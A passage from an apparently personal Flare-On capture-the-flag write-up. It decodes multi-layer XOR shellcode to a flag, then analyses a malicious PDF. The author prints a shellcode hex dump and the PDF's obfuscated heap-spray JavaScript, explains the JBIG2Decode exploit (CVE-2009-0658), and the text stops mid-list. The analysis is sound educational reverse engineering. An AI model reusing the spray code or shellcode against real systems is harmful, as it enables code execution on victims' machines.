&lt;li&gt;So we can go to that location using &lt;code&gt;CTRL + G&lt;/code&gt; shortcut,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121111257.png&quot; alt=&quot;Pasted image 20260121111257.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;We will put breakpoint using using &lt;code&gt;F2&lt;/code&gt; in that instruction,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;00402495 | 8D85 FFFDFFFF            | lea eax,dword ptr ss:[ebp-201]          
0040249B | FFD0                     | call eax                                
0040249D | B8 00000000              | mov eax,0                               
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121111432.png&quot; alt=&quot;Pasted image 20260121111432.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So now we will run till this breakpoint and dump the &lt;code&gt;EAX&lt;/code&gt; content inside the dump windows,&lt;/li&gt;
&lt;li&gt;And again we can see that there is &lt;code&gt;E8 00 00..&lt;/code&gt; format which means it will be shellcode so we can dump this using this command,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;savedata &quot;C:\Users\Asus\Desktop\shellcode.bin&quot;, EAX, 0x4000
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121111909.png&quot; alt=&quot;Pasted image 20260121111909.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121112242.png&quot; alt=&quot;Pasted image 20260121112242.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So it will be written in &lt;code&gt;shellcode.bin&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Stage 2 Analyzing Shellcode&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: data&lt;/li&gt;
&lt;li&gt;Size: 16 KB&lt;/li&gt;
&lt;li&gt;SHA256: 7d60f98eaa49863a604f75425ced94f86faf2eb9d83e0c1ce7490c852930f44e&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;To get the hex code we can use &lt;code&gt;HxD&lt;/code&gt; tool and copy from there and I used &lt;code&gt;cutter&lt;/code&gt; for this analysis because it gives graph view, so paste it into that &lt;code&gt;cutter&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121113255.png&quot; alt=&quot;Pasted image 20260121113255.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I remove some bytes which are not that important, after  &lt;code&gt;0xC995&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;E8 00 00 00 00 8B 34 24 83 C6 1C B9 DF 01 00 00 83 F9 00 74 07 80 36 66 46 49 EB F4 E9 10 00 00 00 07 08 02 46 15 09 46 0F 12 46 04 03 01 0F 08 15 0E 13 15 66 66 0E 15 07 13 14 0E 08 09 16 07 EF 85 8E 66 66 66 66 ED 52 42 E5 A0 4B EF 97 E7 A7 EA 67 66 66 EF BE E5 A6 6C 5F BE 13 63 EF 85 E5 A5 62 5F A8 12 6E EC 75 56 70 25 20 8D 8D 8F 57 66 66 66 6F 6C 62 27 67 62 72 70 6A 35 7C 66 36 60 70 73 33 7A 7C 65 2F 6C 72 27 66 68 33 70 72 78 66 29 7E 66 67 63 33 7D 7D 35 7C 61 73 27 65 66 7A 7A 67 FD 08 09 16 07 9E 33 37 97 D5 0B B1 31 17 07 15 84 EA 14 6D 1B 89 3F 74 48 79 40 90 D2 17 96 E1 0D FD EA FA C8 7F 53 71 5A E9 CE 74 48 79 40 E1 CB EF C2 02 34 45 61 48 20 5F 3C 07 3F 0C 23 1B 3B 0D 28 05 7B 1E 3E 02 2F 09 60 1E 20 10 3E 16 7A ED AD 9C 48 79 40 71 D0 4B 76 E9 80 57 C9 86 C9 BE 85 71 5A 64 C7 AC CB B9 58 48 83 0A 57 E3 A5 F9 83 73 71 B1 27 79 D0 77 7E 62 0B 3F AB 9A B2 62 52 6A 46 66 58 73 00 38 15 39 00 21 5F 25 15 24 1E 32 1E 1F 5B 70 42 7A 1A 7B 18 7E 10 75 15 60 55 3A 55 0D 60 78 17 61 4D 7C 5A 7A 46 26 40 65 0D 31 0B 6F 4B 72 09 71 52 D8 D1 E3 72 0B 2A 17 A4 30 18 DC FA 2F B6 E7 F0 94 06 16 2D 16 F2 CE A2 8A 3D 37 B8 63 21 9B DF 81 ED 40 18 CC 59 03 F5 43 54 06 7C 4B 8D F8 63 E4 F2 5A 76 FA 4A E6 53 62 90 66 13 FF 0C 60 88 4D 38 FF 5E F1 77 7B 7D 40 E1 F0 8E 7B 7C 5B D4 30 39 2A 9E F6 38 49 1F F0 28 99 95 4B F2 61 DB 62 D0 56 48 05 22 12 29 8A D2 45 49 20 75 0D 3F 48 AC F3 29 52 07 A3 34 BB 7F 05 98 10 58 72 C8 E6 67 9D E0 75 88 1B 66 55 73 76 24 1C 7F 19 0D 46 2F 25 35 14 8D 80 B2 2E 4B 01 80 32 1C 95 C9 00
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121113539.png&quot; alt=&quot;Pasted image 20260121113539.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;It is loop that doing some stuff,
&lt;ul&gt;
&lt;li&gt;The CALL instruction is not for calling a function&lt;/li&gt;
&lt;li&gt;It is used to steal the current address so the code can decrypt and execute itself.&lt;/li&gt;
&lt;li&gt;So it means &lt;code&gt;call 5&lt;/code&gt; will pushes &lt;code&gt;0x00000005&lt;/code&gt; onto stack jumps to &lt;code&gt;0x00000005&lt;/code&gt; now stack has &lt;code&gt;[rsp] = address_of_shellcode&lt;/code&gt; then &lt;code&gt;mov esi, [rsp]&lt;/code&gt; will push it into &lt;code&gt;esi&lt;/code&gt; which means &lt;code&gt;0x05 + 0x1C = 0x21&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;seg000:00000021 to seg000:00000030 is encrypted block,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121121437.png&quot; alt=&quot;Pasted image 20260121121437.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0x00000000      call    5          ;  fcn.00000000(void)
0x00000005      mov     esi, dword [rsp]
0x00000008      add     esi, 0x1c
0x0000000b      mov     ecx, 0x1df
0x00000010      cmp     ecx, 0
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Decryption block with key &lt;code&gt;0x66&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0x00000015  xor byte [rsi], 0x66
0x00000018  jmp 0x10
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;So here is the whole summarized flow,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;call → pop → add offset → xor loop (key 0x66) → jump
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121113604.png&quot; alt=&quot;Pasted image 20260121113604.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Possible Pseudocode,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;base = get_rip();
payload = base + 0x1c;

for (i = 0; i &amp;lt; 0x1df; i++) {
    payload[i] ^= 0x66;
}

jump_to(payload);
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;There is one block which is encrypted so i used, &lt;code&gt;cyberchef&lt;/code&gt; to decrypt it with key &lt;code&gt;0x66&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121120858.png&quot; alt=&quot;Pasted image 20260121120858.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121120739.png&quot; alt=&quot;Pasted image 20260121120739.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Decrypted String 1,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;and so it begins
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But you can see how tedious is this task in static analysis so to do this easiness we can use dynamic method.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Advanced Dynamic Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Again, i can use &lt;code&gt;x32dgb&lt;/code&gt; for this task,&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Layer 1 XORed Encryption&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;This loop is doing decryption of encrypted text&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0019FD43 | 83F9 00                  | cmp ecx,0                               
0019FD46 | 74 07                    | je 19FD4F
0019FD48 | 8036 66                  | xor byte ptr ds:[esi],66               
0019FD4B | 46                       | inc esi                                 
0019FD4C | 49                       | dec ecx     
0019FD4D | EB F4                    | jmp 19FD43                            
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121132031.png&quot; alt=&quot;Pasted image 20260121132031.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0019FD53 00 61 6E 64 20 73 6F 20 69 74 20 62 65 67 69 6E  .and so it begin  
0019FD63 73 68 75 73 00 00 68 73 61 75 72 68 6E 6F 70 61  shus..hsaurhnopa  
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Decrypted String 1,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;so it begins
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Layer 2 XORed Encryption&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;for next layer just step through the instructions by doing &lt;code&gt;step over&lt;/code&gt;,&lt;/li&gt;
&lt;li&gt;This instructions are loading layer 2 decryption key in stack which is&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0019FD69 | 68 73617572              | push 72756173                           
0019FD6E | 68 6E6F7061              | push 61706F6E                          
0019FD73 | 89E3                     | mov ebx,esp                             
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Here is actual key in hex &lt;code&gt;6E 6F 70 61 72 73 61 75 72 75 73&lt;/code&gt; which is &lt;code&gt;nopasaurus&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121133313.png&quot; alt=&quot;Pasted image 20260121133313.png&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121132418.png&quot; alt=&quot;Pasted image 20260121132418.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Now the actual loop begins and decryption starts using this key &lt;code&gt;nopasaurus&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0019FD8D | 39D8                     | cmp eax,ebx                             
0019FD8F | 75 05                    | jne 19FD96                              
0019FD91 | 89E3                     | mov ebx,esp                             
0019FD93 | 83C3 04                  | add ebx,4                               
0019FD96 | 39CE                     | cmp esi,ecx                             
0019FD98 | 74 08                    | je 19FDA2                               
0019FD9A | 8A13                     | mov dl,byte ptr ds:[ebx]                
0019FD9C | 3016                     | xor byte ptr ds:[esi],dl                
0019FD9E | 43                       | inc ebx                                 
0019FD9F | 46                       | inc esi                                
0019FDA0 | EB EB                    | jmp 19FD8D                             
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121133701.png&quot; alt=&quot;Pasted image 20260121133701.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0019FDA6 00 67 65 74 20 72 65 61 64 79 20 74 6F 20 67 65  .get ready to ge  
0019FDB6 74 20 6E 6F 70 27 65 64 20 73 6F 20 64 61 6D 6E  t nop&apos;ed so damn  
0019FDC6 20 68 61 72 64 20 69 6E 20 74 68 65 20 70 61 69   hard in the pai  
0019FDD6 6E 74 E8 00 00 00 00 8B 34 24 83 C6 1E B9 38 01  ntè.....4$.Æ.¹8.  
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Decrypted String 2,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;get ready to get nop&apos;ed so damn hard in the paint
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Layer 3 XORed Encryption&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;This is where 3rd loop starts and decryption starts with hardcoded hex &lt;code&gt;0x624F6C47&lt;/code&gt;,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121135337.png&quot; alt=&quot;Pasted image 20260121135337.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0019FDE3 | B9 38010000              | mov ecx,138                             
0019FDE8 | 83F9 00                  | cmp ecx,0                               
0019FDEB | 7E 0E                    | jle 19FDFB                              
0019FDED | 8136 624F6C47            | xor dword ptr ds:[esi],476C4F62         
0019FDF3 | 83C6 04                  | add esi,4                               
0019FDF6 | 83E9 04                  | sub ecx,4                               
0019FDF9 | EB ED                    | jmp 19FDE8                              
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;This wrote some gibberish in memory,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0019FDF6 83 E9 04 EB ED 8D 80 00 00 00 00 8D 80 00 00 00  .é.ëí...........  
0019FE06 00 90 90 90 90 68 72 3F 21 3F 68 20 6F 76 65 68  .....hr?!?h oveh  
0019FE16 6D 6F 73 74 68 74 20 61 6C 68 69 73 20 69 68 6F  mostht alhis iho  
0019FE26 6D 67 20 89 E3 E8 00 00 00 00 8B 34 24 83 C6 2D  mg .ãè.....4$.Æ-  
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;After spending some time i realize that it is actually strings which is being loaded next,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121135106.png&quot; alt=&quot;Pasted image 20260121135106.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0019FE0B | 68 723F213F              | push 3F213F72                           
0019FE10 | 68 206F7665              | push 65766F20                           
0019FE15 | 68 6D6F7374              | push 74736F6D                           
0019FE1A | 68 7420616C              | push 6C612074                           
0019FE1F | 68 69732069              | push 69207369                           
0019FE24 | 68 6F6D6720              | push 20676D6F                           
0019FE29 | 89E3                     | mov ebx,esp                             
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121135559.png&quot; alt=&quot;Pasted image 20260121135559.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;I take all hex convert it in &lt;code&gt;Big endian format&lt;/code&gt; and arrange it in &lt;code&gt;FILO (First in Last out) order&lt;/code&gt; because it is loaded in stack so here is the strings,&lt;/li&gt;
&lt;li&gt;Interestingly this same text used as key for next layer.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;omg i sit almost over?!?
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121135835.png&quot; alt=&quot;Pasted image 20260121135835.png&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Layer 4 XORed Encryption&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Here is loop which start with previous string as key for decryption routine,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;0019FE43 | 39D8                     | cmp eax,ebx                             
0019FE45 | 75 05                    | jne 19FE4C                              
0019FE47 | 89E3                     | mov ebx,esp                             
0019FE49 | 83C3 04                  | add ebx,4                               
0019FE4C | 39CE                     | cmp esi,ecx                             
0019FE4E | 74 08                    | je 19FE58                               
0019FE50 | 8A13                     | mov dl,byte ptr ds:[ebx]                
0019FE52 | 3016                     | xor byte ptr ds:[esi],dl                
0019FE54 | 43                       | inc ebx                                 
0019FE55 | 46                       | inc esi                                 
0019FE56 | EB EB                    | jmp 19FE43                              
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121140344.png&quot; alt=&quot;Pasted image 20260121140344.png&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;0019FE56 EB EB E9 1D 00 00 00 73 75 63 68 2E 35 68 33 31  ëëé....such.5h31  
0019FE66 31 30 31 30 31 30 31 40 66 6C 61 72 65 2D 6F 6E  1010101@flare-on  
0019FE76 2E 63 6F 6D 68 6E 74 00 00 68 20 73 70 65 68 20  .comhnt..h speh   
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260121140451.png&quot; alt=&quot;Pasted image 20260121140451.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Here is Final Flag.... 😗&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;such.5h311010101@flare-on.com
&lt;/code&gt;&lt;/pre&gt;
&lt;h1&gt;Challenge 4:&lt;/h1&gt;
&lt;h2&gt;Stage 1 Malicious PDF Analysis&lt;/h2&gt;
&lt;h3&gt;Initial Triage&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;File Type: APT9001.pdf: PDF document, version 1.5&lt;/li&gt;
&lt;li&gt;Size: 21 KB&lt;/li&gt;
&lt;li&gt;SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Basic Static Analysis&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Detect it Easy show nothing,&lt;/li&gt;
&lt;li&gt;I do quick search its hash on VT this is the result,&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125231735.png&quot; alt=&quot;Pasted image 20260125231735.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;27 out of 65 is pretty high so maybe there is some data which is embedded in PDF.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125231924.png&quot; alt=&quot;Pasted image 20260125231924.png&quot; /&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So to check that i used &lt;code&gt;pdfinfo&lt;/code&gt; tool to see metadata of pdf and here is what is got,
&lt;ul&gt;
&lt;li&gt;It has some js stuff so we can extract it using tool called, &lt;a href=&quot;https://github.com/jesparza/peepdf&quot;&gt;peepdf&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;img src=&quot;images/Pasted_image_20260125232218.png&quot; alt=&quot;Pasted image 20260125232218.png&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Advance Static Analysis&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;┌──(b14cky㉿DESKTOP-VRSQRAJ)-[~]
└─$ python2 /opt/peepdf/peepdf.py -fil APT9001.pdf

Warning: PyV8 is not installed!!
Warning: pylibemu is not installed!!
Warning: Python Imaging Library (PIL) is not installed!!

File: APT9001.pdf
MD5: f2bf6b87b5ab15a1889bddbe0be0903f
SHA1: 58c93841ee644a5d2f5062bb755c6b9477ec6c0b
SHA256: 15f3d918c4781749e3c9f470740485fa01d58fd0b003e2f0be171d80ce3b1c2c
Size: 21284 bytes
Version: 1.5
Binary: True
Linearized: False
Encrypted: False
Updates: 0
Objects: 8
Streams: 2
URIs: 0
Comments: 0
Errors: 1

Version 0:
        Catalog: 1
        Info: No
        Objects (8): [1, 2, 3, 4, 5, 6, 7, 8]
                Errors (1): [8]
        Streams (2): [6, 8]
                Encoded (2): [6, 8]
                Decoding errors (1): [8]
        Objects with JS code (1): [6]
        Suspicious elements:
                /OpenAction (1): [1]
                /JS (1): [5]
                /JavaScript (1): [5]
                Adobe JBIG2Decode Heap Corruption (CVE-2009-0658): [8]
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;I tried to extract the JS code using &lt;code&gt;extract js &amp;gt; extracted.js&lt;/code&gt; which appeared to be successful.&lt;/li&gt;
&lt;li&gt;Also this is mind, &lt;strong&gt;&quot;Adobe JBIG2Decode Heap Corruption (CVE-2009-0658)&quot;&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;PPDF&amp;gt; extract js

// peepdf comment: Javascript code located in object 6 (version 0)

var HdPN = &quot;&quot;;
var zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf = &quot;&quot;;
var IxTUQnOvHg = unescape(&quot;%u72f9%u4649%u1.....u5740%ud0ff&quot;);
var MPBPtdcBjTlpvyTYkSwgkrWhXL = &quot;&quot;;

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 128; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA &amp;gt;= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) MPBPtdcBjTlpvyTYkSwgkrWhXL += unescape(&quot;%ub32f%u3791&quot;);
ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv = MPBPtdcBjTlpvyTYkSwgkrWhXL + IxTUQnOvHg;
OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY = unescape(&quot;%ub32f%u3791&quot;);
fJWhwERSDZtaZXlhcREfhZjCCVqFAPS = 20;
fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA = fJWhwERSDZtaZXlhcREfhZjCCVqFAPS + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv.length
while (OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length &amp;lt; fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA) OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY += OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY;
UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
MOysyGgYplwyZzNdETHwkru = OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.substring(0, OqUWUVrfmYPMBTgnzLKaVHqyDzLRLWulhYMclwxdHrPlyslHTY.length - fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA);
while (MOysyGgYplwyZzNdETHwkru.length + fyVSaXfMFSHNnkWOnWtUtAgDLISbrBOKEdKhLhAvwtdijnaHA &amp;lt; 0x40000) MOysyGgYplwyZzNdETHwkru = MOysyGgYplwyZzNdETHwkru + MOysyGgYplwyZzNdETHwkru + UohsTktonqUXUXspNrfyqyqDQlcDfbmbywFjyLJiesb;
DPwxazRhwbQGu = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA &amp;lt; 100; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) DPwxazRhwbQGu[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = MOysyGgYplwyZzNdETHwkru + ETXTtdYdVfCzWGSukgeMeucEqeXxPvOfTRBiv;

for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 142; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA &amp;gt;= 0; --EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += unescape(&quot;%ub550%u0166&quot;);
bGtvKT = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length + 20
while (zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length &amp;lt; bGtvKT) zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf += zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
Juphd = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, bGtvKT);
QCZabMzxQiD = zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.substring(0, zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf.length - bGtvKT);
while (QCZabMzxQiD.length + bGtvKT &amp;lt; 0x40000) QCZabMzxQiD = QCZabMzxQiD + QCZabMzxQiD + Juphd;
FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE = new Array();
for (EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA = 0; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA &amp;lt; 125; EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA++) FovEDIUWBLVcXkOWFAFtYRnPySjMblpAiQIpweE[EvMRYMExyjbCXxMkAjebxXmNeLXvloPzEWhKA] = QCZabMzxQiD + zNfykyBKUZpJbYxaihofpbKLkIDcRxYZWhcohxhunRGf;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But this looks obfuscated and very messy so I cleaned it,&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;// peepdf comment: Javascript code located in object 6 (version 0)

var string_variable_2 = &quot;&quot;;
var string_variable_4 = unescape(&quot;%u72f9%u4649%u152....5740%ud0ff&quot;);
var string_variable_1 = &quot;&quot;;

for (counter_variable = 128; counter_variable &amp;gt;= 0; --counter_variable) string_variable_1 += unescape(&quot;%ub32f%u3791&quot;);
string_variable_3 = string_variable_1 + string_variable_4;
string_variable_5 = unescape(&quot;%ub32f%u3791&quot;);


while (string_variable_5.length &amp;lt; 790) string_variable_5 += string_variable_5;

substring1_of_str5 = string_variable_5.substring(0, 790);
substring2_of_str5 = string_variable_5.substring(0, string_variable_5.length - 790);

while (substring2_of_str5.length + 790 &amp;lt; 262144) substring2_of_str5 = substring2_of_str5 + substring2_of_str5 + substring1_of_str5;
another_array_variable = new Array();

for (counter_variable = 0; counter_variable &amp;lt; 100; counter_variable++) 
	another_array_variable[counter_variable] = substring2_of_str5 + string_variable_3;

for (counter_variable = 142; counter_variable &amp;gt;= 0; --counter_variable) 
	string_variable_2 += unescape(&quot;%ub550%u0166&quot;);

len_str2_plus20 = string_variable_2.length + 20

while (string_variable_2.length &amp;lt; len_str2_plus20) string_variable_2 += string_variable_2;

substring1_of_str2 = string_variable_2.substring(0, len_str2_plus20);
substring2_of_str2 = string_variable_2.substring(0, string_variable_2.length - len_str2_plus20);

while (substring2_of_str2.length + len_str2_plus20 &amp;lt; 262144) substring2_of_str2 = substring2_of_str2 + substring2_of_str2 + substring1_of_str2;
array_variable = new Array();

for (counter_variable = 0; counter_variable &amp;lt; 125; counter_variable++) array_variable[counter_variable] = substring2_of_str2 + string_variable_2;
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But you might be confused that how this code will executed because it is in PDF right?&lt;/li&gt;
&lt;li&gt;So here comes the interesting thing,
&lt;ul&gt;
&lt;li&gt;CVE-2009-0658 is a heap corruption vulnerability in Adobe Reader’s JBIG2Decode filter.&lt;/li&gt;
&lt;li&gt;A malformed JBIG2 image causes memory overwrite in native code.&lt;/li&gt;
&lt;li&gt;JavaScript heap spray is used beforehand to populate predictable heap memory with shellcode.&lt;/li&gt;
&lt;li&gt;When the corrupted pointer is dereferenced, execution jumps into the sprayed heap region, leading to arbitrary code execution.&lt;/li&gt;
&lt;li&gt;One of the first &lt;strong&gt;PDF + JS + native bug&lt;/strong&gt; chains&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;So in short, if any user open this code in vulnerable Adobe Reader then this code will execute.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Code Explanation&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;It hides malicious code&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;The long &lt;code&gt;%uXXXX%uXXXX&lt;/code&gt; data is hidden machine code / shellcode.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;unescape()&lt;/code&gt; converts it into real binary data.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It creates a lot of useless repeated data&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;Repeated patterns are added again and again.&lt;/li&gt;
&lt;li&gt;This fills large parts of computer memory.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;It mixes junk + malicious code&lt;/strong&gt;
&lt;ul&gt;
&lt;li&gt;So memory looks like:
